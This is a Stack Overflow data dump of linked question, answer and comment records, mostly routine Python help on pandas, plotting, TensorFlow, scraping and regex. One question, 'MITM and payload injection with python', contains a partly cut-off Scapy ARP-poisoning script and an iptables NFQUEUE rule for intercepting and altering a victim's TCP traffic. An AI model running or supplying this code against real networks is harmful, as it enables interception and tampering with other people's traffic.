has body: Instead of defaultdicts that were already mentioned, you could also create the dict with the setdefault method, like so: def transform(some_dict): new_dict = {} for k, v in some_dict.items(): new_dict.setdefault(v, []).append(k) return new_dict There is no need for the if statement you made. In my benchmark, this is around 2 times faster than your method. The method of Moses Koledoye beats those (on my machine) for some reason, which is in turn beaten by bruno desthuilliers' method. For the dictionary dict1 = dict([(str(x),x%10) for x in range(0,100000)]) I get (transform_0 being your method with together with the for loop, transform_d Moses' and transform_d2 being Bruno's methods) as average over 200 calls: benchmark for "transform_0": 133.516 ms benchmark for "transform": 50.696 ms benchmark for "transform_d": 43.967 ms benchmark for "transform_d2": 38.408 ms
has comment: http://stackoverflow.com/comment/84371783

http://stackoverflow.com/a/48781031
downvote count: 0
has comment: http://stackoverflow.com/comment/84565552
type: Answer
has body: The error mentions 'tuple' object has no.... But it should have been a dataframe. Which means that your answer_one() function doesn't return a dataframe but a tuple. Check the type of cancerdf. If it says cancerdf is a tuple then you need to check that part out.
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48780916
has comment: http://stackoverflow.com/comment/84565581

http://stackoverflow.com/q/48769599
has answer: http://stackoverflow.com/a/52976715
has comment: http://stackoverflow.com/comment/84540426
has answer: http://stackoverflow.com/a/48772859
has body: I have a list of angles in degrees. I want to display a polar histogram in which the [0°, 360°) range of values is subdivided into equal bins, and display how many values in the angles list fall into each bin. I get histogram data using the following code (and I've checked it is correct): bins_number = 8 # the [0, 360) interval will be subdivided into this number of equal bins bins = np.linspace(0.0, 360.0, bins_number + 1) n, _, _ = plt.hist(angles, bins) Now, I've tried to plot this data into a polar histogram using the following code: plt.clf() width = 2 * np.pi / bins_number ax = plt.subplot(1, 1, 1, projection='polar') bars = ax.bar(bins[:bins_number], n, width=width, bottom=0.0) for bar in bars: bar.set_alpha(0.5) plt.show() but what I get is shown in this image: As you can see, bars are not placed at the correct angle, and some of them overlap each other, while they should be all contiguous without overlapping. What am I doing wrong? Thank you in advance.
upvote count: 5
tagged with: matplotlib
has title: How do I plot a standard histogram data to a polar histogram using Python and pyplot?
type: UnansweredQuestion
downvote count: 0
tagged with: histogram
favorite count: 0
tagged with: polar-coordinates
type: Question
answer count: 2
score: 5
tagged with: python

http://stackoverflow.com/q/48764610
tagged with: python
has comment: http://stackoverflow.com/comment/84538293
favorite count: 0
has comment: http://stackoverflow.com/comment/84538425
answer count: 0
has comment: http://stackoverflow.com/comment/84538520
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84554867
tagged with: tensorflow
type: Question
has title: read and decode tfrecords error tensorflow
has comment: http://stackoverflow.com/comment/88303820
score: 1
has comment: http://stackoverflow.com/comment/84543614
has comment: http://stackoverflow.com/comment/84534600
tagged with: decode
has body: i convert my own grayscale dataset with 60*60 pixel to tfrecords with write_tfrecord() but when i want to read and decode them it causes error . what is the problem ? train_tfrecord_addr = './data/train.tfrecords' test_tfrecord_addr = './data/test.tfrecords' n_train_samples = 43990 n_test_samples = 12500 batch_size = 32 # number of batches in each iteration keep_prob = 0.5 # Dropout, probability to keep units n_epochs = 25 tfrecords_filename = './data/test.tfrecords' def _bytes_feature(value): return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value])) def _int64_feature(value): return tf.train.Feature(int64_list=tf.train.Int64List(value=[value])) def _float32_feature(value): return tf.train.Feature(float_list=tf.train.FloatList(value=value)) def write_tfrecord(path): images_addrs, images_labels = get_lable_and_image(path=path) filename_pairs = list(zip(images_addrs, images_labels)) print(filename_pairs) # to shuffle data shuffle(filename_pairs) writer = tf.python_io.TFRecordWriter(tfrecords_filename) for img_path, label in filename_pairs: # in this case all images are png with (32, 32) shape img = np.array(Image.open(img_path)) # (32, 32) uint8 img_raw = img.tostring() label_raw = label.tostring() example = tf.train.Example(features=tf.train.Features(feature={ 'image_raw': _bytes_feature(img_raw), 'label_raw': _bytes_feature(label_raw), })) writer.write(example.SerializeToString()) writer.close() decode method ... def read_and_decode(filename, batch_size, num_epochs, num_samples): filename_queue = tf.train.string_input_producer([train_tfrecord_addr], num_epochs=num_epochs) reader = tf.TFRecordReader() _, serialized_example = reader.read(filename_queue) features = tf.parse_single_example( serialized_example, # Defaults are not specified since both keys are required. features={ 'image_raw': tf.FixedLenFeature([], tf.string), 'label_raw': tf.FixedLenFeature([], tf.string), }) # Convert from a scalar string tensor to a uint8 tensor image_raw = tf.decode_raw(f…
upvote count: 1
downvote count: 0
tagged with: tfrecord
tagged with: dataset

http://stackoverflow.com/q/48697412
downvote count: 0
has answer: http://stackoverflow.com/a/48697542
answer count: 3
tagged with: pandas
has comment: http://stackoverflow.com/comment/84393779
has body: I have a dataframe 'region_group'. As shown below, this dataframe does not have 'ARTHOG' value in 'Town/City' column. However when I do groupby-first, on this column, this value pops back in. I am trying to understand why this is happening. Note: region_group dataframe is based on another dataframe which has 'ARTHOG' as value in 'Town/City' column. But it has been filtered out with where condition as shown below and as also evident in the Out[25] region=k'my_ID','Town/City','District','County','month','year' region=region.loc[(region['month'] == 12) &amp; (region['year'] == 2016)] region_noid=region.drop(['my_ID','month','year'], axis=1) region_group=region_noid.groupby(['Town/City','District','County']).size().reset_index(name='Count')
has answer: http://stackoverflow.com/a/48697557
favorite count: 0
has answer: http://stackoverflow.com/a/50579678
upvote count: 1
tagged with: python
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/48471648
score: 1
has comment: http://stackoverflow.com/comment/84393761
has title: Pandas groupby unique issue
possible better answer: http://stackoverflow.com/a/48697557
type: Question
accepted answer: http://stackoverflow.com/a/48697542
has comment: http://stackoverflow.com/comment/84393695

http://stackoverflow.com/comment/84474091
score: 4
has text: Just some tangential vim advice: Whenever I'm manually toggling an option with exactly two states, on or off, rather than using the explicit `:set `/`:set no `, I like to use `:set !`. The exclamation mark toggles the state of the option, whether it's currently on *or* off. That way, if I want to toggle it again in a few minutes, I can just hit `:` and the up arrow once or a few times, to re-run exactly the same command. Simpler than worrying about whether the "`no`" is there or not. Of course, in your vimrc, you'll still want the explicit setting.
type: AnswerComment
comment on: http://stackoverflow.com/a/48736702
type: Comment

http://stackoverflow.com/comment/98729780
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/56043394
has text: This should be a comment. Answers need to have sufficient information to understand the answer. The answer should be described in a reasonable level of detail and / or include a minimal example of the answer.

http://stackoverflow.com/comment/84350274
score: 0
comment on: http://stackoverflow.com/a/48675782
type: Comment
has text: @ juanpa.arrivillaga Also, wouldn't this be faster than the counter answer because the counter has to count each one and turn it into an object and store it in memory? And it is not like other answers are not using list comprehension.
type: AnswerComment

http://stackoverflow.com/q/48675076
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/84368349
upvote count: 2
type: UnansweredQuestion
downvote count: 2
type: Question
tagged with: list
linked to: http://stackoverflow.com/q/11350342
has answer: http://stackoverflow.com/a/48677303
has title: How to move items from a list into a dictionary
has answer: http://stackoverflow.com/a/48677141
answer count: 3
has body: I am trying to move items from a list into a dictionary but I get the following error: 'int' object is not subscriptable Here is my code: l_s = ['one', 1, 'two', 2, 'three', 3, 'four', 4, 'five', 5, 'six', 6] d = {} for line in l_s: if line[0] in d: d[line[0]].append(line[1]) else: d[line[0]] = [line[1]] print(d) How would I go about changing it?
has answer: http://stackoverflow.com/a/48677293
favorite count: 0
score: 0
has comment: http://stackoverflow.com/comment/84352358
has comment: http://stackoverflow.com/comment/84352391

http://stackoverflow.com/comment/84407210
type: QuestionComment
has text: That creates an error `SessionNotCreatedException: Message: Tried to run command without establishing a connection`...
comment on: http://stackoverflow.com/q/48703734
score: 0
type: Comment

http://stackoverflow.com/comment/84377930
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48689317
has text: can you show the fullstack error you are getting?
type: Comment

http://stackoverflow.com/q/48765021
has answer: http://stackoverflow.com/a/48765224
answer count: 1
has comment: http://stackoverflow.com/comment/84539576
has body: I want to iterate through workbooks in my directory. For each workbook, I want a new workbook produced. I want the new workbooks to be named after the files it is iterating through, but with 'New' in front of it (ideally the new workbooks should be brand new and not a duplicate of the previous workbooks, is this even possible?) The code below seems to be doing something, but isn't quite right import win32com.client as win32 bk_2_to_5 = [filename2, filename3, filename4, filename5] for x in bk_2_to_5: excel = win32.gencache.EnsureDispatch('Excel.Application') excel.Visible = True wb = excel.Workbooks.Add() wb.SaveAs('New' + x + sh'*.xlsx') excel.Application.Quit() I want new books to be produced called Newfilename2.xlsx, Newfilename3.xlsx, and such forth Anybody know a solution? EDIT: The output is this. Note that a blank workbook opens up, but it does not autosave. If I do wb.SaveAs('New.xlsx'), it saves as New.xlsx, but that is not what I am after, I want it named after each file with 'New' as a prefix. com_error: (-2147352567, 'Exception occurred.', (0, 'Microsoft Office Excel', 'SaveAs method of Workbook class failed', 'C:\Program Files (x86)\Microsoft Office\Office12\1033\XLMAIN11.CHM', 0, -2146827284), None)
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84531020
accepted answer: http://stackoverflow.com/a/48765224
tagged with: excel
type: Question
has comment: http://stackoverflow.com/comment/84530684
tagged with: win32com
has comment: http://stackoverflow.com/comment/84535822
has comment: http://stackoverflow.com/comment/84530518
score: 0
has comment: http://stackoverflow.com/comment/84535271
has title: Iterate through workbooks to produce new workbook with a new filename

http://stackoverflow.com/q/48783872
downvote count: 1
has title: how to build generic sum of python function results
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48784119
has answer: http://stackoverflow.com/a/48784069
has answer: http://stackoverflow.com/a/48784119
type: Question
score: 1
tagged with: python-2.7
has body: I would like to build the sum of functions in python. However, I don't know upfront the length of the sum. All functions are of similar type, i.e. having one input and same output type. For two something like this would work In [180]: def H(f, g): ...: def _h(x): ...: return f(x) + g(x) ...: return _h However, I would like to have something which is generic in the sense that I could write H(*args) and it returns me the sum of all function in args (also working for just one). Am I correct that this is the only way to build sum of functions? I can't write something like h = f+g for two function ?
accepted answer: http://stackoverflow.com/a/48784069
answer count: 3
tagged with: python
favorite count: 0
has answer: http://stackoverflow.com/a/48784218
upvote count: 2

http://stackoverflow.com/comment/84582315
has text: oh... I didn't think it worked like that. TY very much. I don't know how to mark this as solved.
score: 0
comment on: http://stackoverflow.com/q/48789253
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84313533
comment on: http://stackoverflow.com/q/48657821
score: 0
type: QuestionComment
has text: Maybe transform your sequence into an array? To do that, this seems to be a good way: https://stackoverflow.com/a/41624067/3715676
type: Comment

http://stackoverflow.com/a/48677864
answers question: http://stackoverflow.com/q/48677527
downvote count: 0
has comment: http://stackoverflow.com/comment/84353497
has comment: http://stackoverflow.com/comment/84353521
type: Answer
has comment: http://stackoverflow.com/comment/84353720
has comment: http://stackoverflow.com/comment/84353579
has body: If you right click and check the page source, the text you want is not available. The HTML you've provided and the page source doesn't match. &lt;div class="alertWrapper"&gt; &lt;div class="container"&gt;&lt;span class="icon dom-bg"&gt;&lt;em class="fa fa-bell"&gt;&lt;!----&gt;&lt;/em&gt;&lt;/span&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;table style="border: 3px solid rgb(0, 176, 240);" align="center" cellpadding="2" cellspacing="2" class=""&gt; &lt;tbody&gt; This is happening because the content you want is generated dynamically by JavaScript. You won't be able to scrape that using requests module. You'll have to use other tools like Selenium.
score: 1
upvote count: 1

http://stackoverflow.com/a/48780910
type: AcceptedAnswer
has body: You simply cannot run long running processes in a web server, they are build to do the opposite and trying to force them to do it leads to ruin in the end. Your best bet is to offload the long running function to a separate python process. Have a look at celery: http://www.celeryproject.org/ You do something homegrown using Redis / RabbitMq and consuming program. Your requirement that only one function runs at a time should be achievable with all three. Note that the number of moving parts increases if you use this solution, instead of one process, you have at least three (webserver, redis /rabbitmq and your consumer). Since orchestrating that is annoying, you might want to use docker (and docker-compose) to simplify the orchestration, e.g. restarting a component or monitoring it.
accepted answer of: http://stackoverflow.com/q/48780755
answers question: http://stackoverflow.com/q/48780755
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84564641
upvote count: 1

http://stackoverflow.com/comment/84345457
score: 0
has text: Oh I misunderstood the question then. I suppose a closure is a good way to do so since we don't have C static equivalent
type: AnswerComment
comment on: http://stackoverflow.com/a/48673424
type: Comment

http://stackoverflow.com/q/48794036
answer count: 1
has body: My code generates a 2 dimensional array, which I want to save into a file. This can be easily done using numpy.savetxt as shown in the sample code. But I wish to do something different. In the following code I generate random walks for 5 walkers. For each walk, I generate positions of the walker for some time and store the positions in a list. After each walk is completed , I add the whole list containing walker's positions, as a new row to an already existing array S_data. At the end of the next walk (or iteration), I add the list of position for the next walker and so on.. So by the end of each walker's iteration, a new row is added to S_data. At the end of all walks , this S_data is finally saved to an external file using numpy.savetxt . import numpy as np no_of_walkers = 5 t_max = 10 S_data=np.zeros(t_max) for R in range(no_of_walkers): position = [] x = 0.0 for t in range(t_max): x = x + np.random.randint(-1, 2) position.append(x) S_data = np.vstack([S_data, position]) S_data = np.delete(S_data, obj=0, axis=0) np.savetxt('data_file.txt', S_data) What I wish to do is, at the end of each walk, instead of adding the position list to S_data, I want to write it to an external file. Again at the end of next iteration, I will add the position list for the next walker as a new line to the external file, and so on. I want to do this because, I will have to run this code for large number of walkers and also for longer times, so then my code will consume lot of RAM, which I want to avoid. Is there a pythonic way to export lists to the same external file at the end of each iteration, without overwriting the previous data?
accepted answer: http://stackoverflow.com/a/48794756
has comment: http://stackoverflow.com/comment/84590803
score: 0
tagged with: python
type: AnsweredQuestion
has title: Write data file line by line in python
tagged with: file
has answer: http://stackoverflow.com/a/48794756
type: Question
tagged with: numpy
linked to: http://stackoverflow.com/q/27384093

http://stackoverflow.com/a/48772641
has body: Below solutions should work. Notice the following for Method 1: We are feeding the index of selected rows into drop. We assign back to df so the dataframe is actually modified. axis=0 represents index-level drop. More information in df.drop documentation. Method 1 different_year = df[df['Start_year'] != (df['End_year'])].index df = df.drop(different_year, axis=0) Method 2 df = df[~(df['Start_year'] != (df['End_year']))]
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48772477

http://stackoverflow.com/a/48883251
has body: So I still did not manage to use bokeh with callback function and dataframe. However, I found a really simple alternative, when working with Jupiter, import matplotlib.pyplot as pl hue = ["A", "B"] @interact (col= ["A", "B", "C"]) def plot(col): pl.figure() pl.hist( df[col]) pl.show() plot(col)
answers question: http://stackoverflow.com/q/48669119
downvote count: 0
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/q/48773367
favorite count: 0
tagged with: python
tagged with: proto
upvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48790290
has title: Need to convert python dict in proto message format for gRPC
tagged with: grpc
score: -1
has body: I have a format like this and want to convert my python dict to this proto format proto code: message template{ message NicSettings{ string network_adapter = 1; string network_name = 2; } message NetConfig{ bool keep_mac_address =1; bool same_as_source = 2; repeated NicSettings nic_settings = 3; } NetworkConfig network_config = 3; } python dict: template: { keepMacAddress: true, sameAsSource : false, nicSettings: [ {networkAdapter: "ethernet0", networkName: "Calpal1" } , {networkAdapter: "ethernet1", networkName: "Calpal2" } ] } How do I convert this to a proto message to pass it to gRPC.
type: Question
answer count: 1
downvote count: 1

http://stackoverflow.com/q/48737953
has answer: http://stackoverflow.com/a/48768243
type: Question
tagged with: arp
tagged with: python
linked to: http://stackoverflow.com/q/39765107
score: 0
tagged with: scapy
answer count: 1
has body: i try to poison my local network (MITM) to get value send over the TCP , change it and send it. ( Use scapy and Netfilter with iptables ) i don't is it possible change packet on the fly or i have to create copy of that then drop it and send new packet with changed specific value. for now i wrote this code but i don't see any packet. /proc/net/netfilter/nfnetlink_queue 0 48352 0 2 65531 0 0 0 1 iptables rule : iptables -I INPUT -s 192.168.0.2 -p tcp --dport 6767 -j NFQUEUE 192.168.3.2 is victim and 192.168.0.1 is gateway and forwarding : /proc/sys/net/ipv4/ip_forward 1 here is my code : from scapy.all import * from scapy.error import Scapy_Exception import os import sys import threading import signal from netfilterqueue import NetfilterQueue import nfqueue INTERFACE = 'eth0' TARGET_IP = '192.168.0.1' GATEWAY_IP = '192.168.0.2' PACKET_COUNT = 100 def test (packet): print packet.show() packet.accept() def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): print '[*] Restoring targets...' send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst='ff:ff:ff:ff:ff:ff', \ hwsrc=gateway_mac), count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", \ hwsrc=target_mac), count=5) os.kill(os.getpid(), signal.SIGINT) def get_mac(ip_address): response, unanswered = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address), \ timeout=2, retry=10) for s, r in response: return r[Ether].src return None def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): poison_target = ARP() poison_target.op = 2 poison_target.psrc = gateway_ip poison_target.pdst = target_ip poison_target.hwdst = target_mac poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwdst = gateway_mac print '[*] Beginning the ARP poison. [CTRL-C to stop]' while 1: try: send(poison_target) send(poison_gateway) time.sleep(2) except KeyboardInterrupt: restore_target(gateway_ip, gateway_mac, target_ip, target…
has title: MITM and payload injection with python
tagged with: netfilter
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/27293924
tagged with: iptables

http://stackoverflow.com/q/48657460
tagged with: selenium-webdriver
answer count: 0
score: 1
tagged with: selenium
type: Question
upvote count: 1
has body: I want to separate all web element page (Xpath) in different class with test, but when I create page class it needs webdriver than I declare webdriver like this: class HomePage(constant.Constant,page.Page): def __init__(self): self.driver = webdriver.Chrome (r'C:\Users\USER\Downloads\chromedriver_win32\chromedriver') self.masukBtn = driver.find_element_by_xpath ("//button[contains(text(),'Masuk')]") self.emailTxtField = driver.find_element_by_xpath ("//input[@placeholder='Email']") then in test class i define web driver to hit url : def setUp(self): self.driver.get("https://www.gramedia.com/") def test_loginPositive(self): print('test_loginPositive') hp = homepage.HomePage() hp.masukBtn.click() hp.emailTxtField.send_keys(constant.Constant.EMAIL) It doesn't work. Chrome was running 2 times, and I got: error Traceback (most recent call last) My question is, how to define webdriver so I can use in test class. Thank you.
downvote count: 0
favorite count: 0
tagged with: xpath
has title: How to separate page class and test class python selenium
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84312649
tagged with: python

http://stackoverflow.com/comment/84488688
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48730214
has text: No need to do that, I just want to create this simple table with Performance and LTFU values. Those values must be calculated from some variables present in the dataset. Only this !!! I dont know why I cant explain well to you. For me it looks like simple.
score: 0

http://stackoverflow.com/comment/84562396
has text: Although I'm not quite sure if you can specify the method in tweepy, let me check it out
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48779674
type: AnswerComment

http://stackoverflow.com/q/48699921
answer count: 1
downvote count: 0
favorite count: 0
tagged with: beautifulsoup
has body: I am practicing to write a web crawler to crawl some interesting information from a website. I try this block of code on my personal website. It works as what I expect, but when I try to implement this code on a real website, it does not show what it should show. Does anyone have any ideas? The following is my code and results. import requests from bs4 import BeautifulSoup url = 'https://angel.co/parkwhiz/jobs/284942-product-manager' page = requests.get(url).text soup = BeautifulSoup(page,'lxml') print soup.prettify() Result from print Result from firebug(or chrome inspect) The title shows in the print is "Page not found - 404 - AngelList", but the title shows in firebug is "Product Manager Job at Parkwhiz - AngelList". Is there anything wrong with my code? Shouldn't these two be match?
has answer: http://stackoverflow.com/a/48700139
tagged with: python
type: AnsweredQuestion
upvote count: 1
type: Question
has title: What I scrape from python is not the same as what I see from firebug
score: 1
tagged with: python-2.7
accepted answer: http://stackoverflow.com/a/48700139

http://stackoverflow.com/q/48731502
has body: I have the following df and want to write the number column backwards and also overwrite other values if necessary. The condition is to always use the previous value unless the new values difference to the old value is greater than 10%. Date Number 2019 150 2018 NaN 2017 118 2016 NaN 2015 115 2014 107 2013 105 2012 NaN 2011 100 Because of the condition the value in e.g. 2013 is equal to 100, because it is not smaller than 90 and not greater than 110. The result would look like this: Date Number 2019 150 2018 115 2017 115 2016 115 2015 115 2014 100 2013 100 2012 100 2011 100
score: -2
has comment: http://stackoverflow.com/comment/84516078
answer count: 3
downvote count: 3
has title: Write column backwards with condition in Python
tagged with: pandas
upvote count: 1
has answer: http://stackoverflow.com/a/48731832
favorite count: 0
tagged with: python
accepted answer: http://stackoverflow.com/a/48731762
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48731874
has answer: http://stackoverflow.com/a/48731762
possible better answer: http://stackoverflow.com/a/48731832
has comment: http://stackoverflow.com/comment/84462467
type: Question

http://stackoverflow.com/q/48670706
upvote count: 1
answer count: 1
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/48671415
score: 1
has comment: http://stackoverflow.com/comment/84342392
favorite count: 0
has title: retrieved URLs, trouble building payload to use requests module
type: Question
tagged with: python
has body: I'm a Python novice, thanks for your patience. I retrieved a web page, using the requests module. I used Beautiful Soup to harvest a few hundred href objects (links). I used uritools to create an array of full URLs for the target pages I want to download. I don't want everybody who reads this note to bombard the web server with requests, so I'll show a hypothetical example that is realistic for just 2 hrefs. The array looks like this: hrefs2 = ['http://ku.edu/pls/WP040?PT001F01=910&amp;pf7331=11', 'http://ku.edu/pls/WP040?PT001F01=910&amp;pf7331=12'] If I were typing these into 100s of lines of code, I understand what to do in order to retrieve each page: from lxml import html import requests url = 'http://ku.edu/pls/WP040/' payload = {'PT001F01' : '910', 'pf7331' : '11') r = requests.get(url, params = payload) Then get the second page payload = {'PT001F01' : '910', 'pf7331' : '12') r = requests.get(url, params = payload) And keep typing in payload objects. Not all of the hrefs I'm dealing with are sequential, not all of the payloads are different simply in the last integer. I want to automate this and I don't see how to create the payloads from the hrefs2 array. While fiddling with uritools, I find urisplit which can give me the part I need to parse into a payload: [urisplit(x)[3] for x in hrefs2] ['PT001F01=910&amp;pf7331=11', 'PT001F01=910&amp;pf7331=12'] Each one of those has to be turned into a payload object and I don't understand what to do. I'm using Python3 and I used uritools because that appears to be the standards-compliant replacement of urltools. I fell back on shell script to get pages with wget, which does work, but it is so un-Python-ish that I'm asking here for what to do. I mean, this does work: import subprocess for i in hrefs2: subprocess.call(["wget", i])
has comment: http://stackoverflow.com/comment/84339439
accepted answer: http://stackoverflow.com/a/48671415

http://stackoverflow.com/a/48748813
has comment: http://stackoverflow.com/comment/84893150
has body: You may want to check out BeautifulSoup. from bs4 import BeautifulSoup soup = BeautifulSoup(xml, 'xml') soup.find("tel:extra", attrs={"type":"email"}).text Out[111]: 'maisoncailler@nestle.com'
answers question: http://stackoverflow.com/q/48744599
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48744599
has comment: http://stackoverflow.com/comment/84528445
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/comment/84348480
type: AnswerComment
type: Comment
has text: something like this was exactly what I was loking for, let me see if this works. I knew it had to do with one of the iloc, loc, or iat, at.
comment on: http://stackoverflow.com/a/48674982
score: 0

http://stackoverflow.com/q/48693258
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/48701839
upvote count: 8
score: 8
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84392404
type: UnansweredQuestion
tagged with: python
has body: I'm trying to make a function which will make any image look like a cartooney comic strip. Here is my code so far: import numpy import cv2 __author__ = "Michael Beyeler" __license__ = "GNU GPL 3.0 or later" class Cartoonizer: def __init__(self): self.numDownSamples = 1 self.numBilateralFilters = 7 def render(self, img_rgb): # downsample image using Gaussian pyramid img_color = img_rgb for _ in range(self.numDownSamples): img_color = cv2.pyrDown(img_color) # repeatedly apply small bilateral filter instead of applying # one large filter for _ in range(self.numBilateralFilters): img_color = cv2.bilateralFilter(img_color, 9, 9, 7) # upsample image to original size for _ in range(self.numDownSamples): img_color = cv2.pyrUp(img_color) # convert to grayscale and apply bilateral blur img_gray = cv2.cvtColor(img_rgb, cv2.COLOR_RGB2GRAY) for _ in range(self.numBilateralFilters): img_gray_blur = cv2.bilateralFilter(img_gray, 9, 9, 7) # detect and enhance edges img_edge = cv2.adaptiveThreshold(img_gray_blur, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 9, 5) # convert back to color so that it can be bit-ANDed with color image img_edge = cv2.cvtColor(img_edge, cv2.COLOR_GRAY2RGB) #Ensure that img_color and img_edge are the same size, otherwise bitwise_and will not work height = min(len(img_color), len(img_edge)) width = min(len(img_color[0]), len(img_edge[0])) img_color = img_color[0:height, 0:width] img_edge = img_edge[0:height, 0:width] return cv2.bitwise_and(img_color, img_edge) I have taken it from here, license preserved, and slightly modified it: http://www.askaswiss.com/2016/01/how-to-create-cartoon-effect-opencv-python.html What I have originally is this: Here is what my script outputs: And here is what I need: What I've noticed so far is: My code for blurring the image has got too many colors, I need less smooth transition from light colors to dark ones. The target image has got smooth edges, which are lines, when my code creates a lot of noise ("lonely" blac…
has title: Need to make a cartoon comic version of a picture with Python and OpenCV
tagged with: opencv
linked to: http://stackoverflow.com/q/49710006
tagged with: image-processing
type: Question

http://stackoverflow.com/q/48795794
tagged with: hive
accepted answer: http://stackoverflow.com/a/48795905
type: AnsweredQuestion
type: Question
tagged with: hadoop
tagged with: split
tagged with: user-defined-functions
score: 0
answer count: 1
has title: How to split one column into two in Hive
has answer: http://stackoverflow.com/a/48795905
has comment: http://stackoverflow.com/comment/84594223
tagged with: python
has body: In my Hive Table, I have a column called YearMonth which has values like 'Jul1998'. I need to split the string in each row into Month ('Jul') and Year ('1998) and add those separately in new columns in Hive. Unfortunately, my code doesn't do it correctly and adds a NULL instance in every other row like shown below: I took the below steps to get the above output: Created a split.py file to split the string 'Jul1998' into 'Jul' and '1998 #!/usr/bin/python import sys for line in sys.stdin: Month= line[:3] Year = line[3:] print '\t'.join([Month, Year]) Then I go into Hive and add python file into hive directory Finally, I used the transform function to split the column and created two new columns. ADD FILE /home/ec2-user/split.py; INSERT OVERWRITE TABLE data SELECT TRANSFORM (yearmonth) USING 'split.py' AS (month,year) FROM data;

http://stackoverflow.com/q/48692624
type: Question
has body: I have a dataframe df2 with dates in string form and numbers date | value 2018-02-02 130 2018-02-05 360 2018-02-06 98 2018-02-07 150 When I plot the dates in a plot along the x axis, the dates returned are incorrect. They seem to translate like so: 2018-02-06 = Jan 1, 1970 2018-02-05 = Jan 13.5, 1970 source=ColumnDataSource(data=df2) p= figure(plot_width=700, plot_height=400, x_axis_type="datetime") p.xaxis.formatter= DatetimeTickFormatter(days="%B/%d/%Y") p.triangle("DATE","VALUE",color='black',source=source) The glyphs don't fall exactly on the gridlines either. What is happening?
score: 0
answer count: 1
has title: bokeh x-axis datetime returning incorrect dates
type: UnansweredQuestion
tagged with: datetime
tagged with: python
has answer: http://stackoverflow.com/a/48693814
tagged with: bokeh

http://stackoverflow.com/q/48649999
has comment: http://stackoverflow.com/comment/84297662
has answer: http://stackoverflow.com/a/48650532
score: -1
has title: Regex Pattern For Finding String Before First Dot in Python
has comment: http://stackoverflow.com/comment/84297863
answer count: 2
upvote count: 0
has comment: http://stackoverflow.com/comment/84297700
favorite count: 0
has comment: http://stackoverflow.com/comment/84297850
accepted answer: http://stackoverflow.com/a/48650532
possible better answer: http://stackoverflow.com/a/48650241
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/48650241
has body: I need a regex pattern to grab the string before the first dot: google.com.com yahoo.com 192.168.1.4 I need a regex that gives google and yahoo, but my pattern grabs IP addresses too. My regex is r'(.*)\.(.*) Any advice would be appreciated.
type: AnsweredQuestion
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84297696
has comment: http://stackoverflow.com/comment/84298222
has comment: http://stackoverflow.com/comment/84297869
has comment: http://stackoverflow.com/comment/84297773
has comment: http://stackoverflow.com/comment/84297729

http://stackoverflow.com/comment/84469324
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48734980
score: 0
has text: Please format the code within the post instead of a link.

http://stackoverflow.com/comment/84456532
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48728816
has text: Have a look at https://stackoverflow.com/q/9567069/8944057.
score: 0

http://stackoverflow.com/a/48876034
score: 3
has comment: http://stackoverflow.com/comment/85041149
answers question: http://stackoverflow.com/q/48793896
downvote count: 0
type: Answer
upvote count: 3
has body: If you're doing SELECT * FROM table without a WHERE clause, you could use COPY table TO STDOUT instead, with the right options: copy_command = """COPY some_schema.some_message_log TO STDOUT CSV QUOTE '"' DELIMITER '|' FORCE QUOTE *""" with open('data.csv', 'w', newline='') as fp: cursor.copy_expert(copy_command) This, in my testing, results in literal '\n' instead of actual newlines, where writing through the csv writer gives broken lines. If you do need a WHERE clause in production you could create a temporary table and copy it instead: cursor.execute("""CREATE TEMPORARY TABLE copy_me AS SELECT this, that, the_other FROM table_name WHERE conditions""") (edit) Looking at your question again I see you mention "ever all different database engines". The above works with psyopg2 and postgresql but could probably be adapted for other databases or libraries.

http://stackoverflow.com/comment/84395232
type: Comment
score: 0
type: AnswerComment
has text: @jp_data_analysis You include third minus second.
comment on: http://stackoverflow.com/a/48697744

http://stackoverflow.com/comment/84406943
type: Comment
type: QuestionComment
has text: I'm using port 994 for both clients.
comment on: http://stackoverflow.com/q/48704006
score: 0

http://stackoverflow.com/comment/84352287
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48677019
type: AnswerComment
has text: Did you install python3 via home-brew?

http://stackoverflow.com/comment/84341306
score: 0
type: Comment
type: QuestionComment
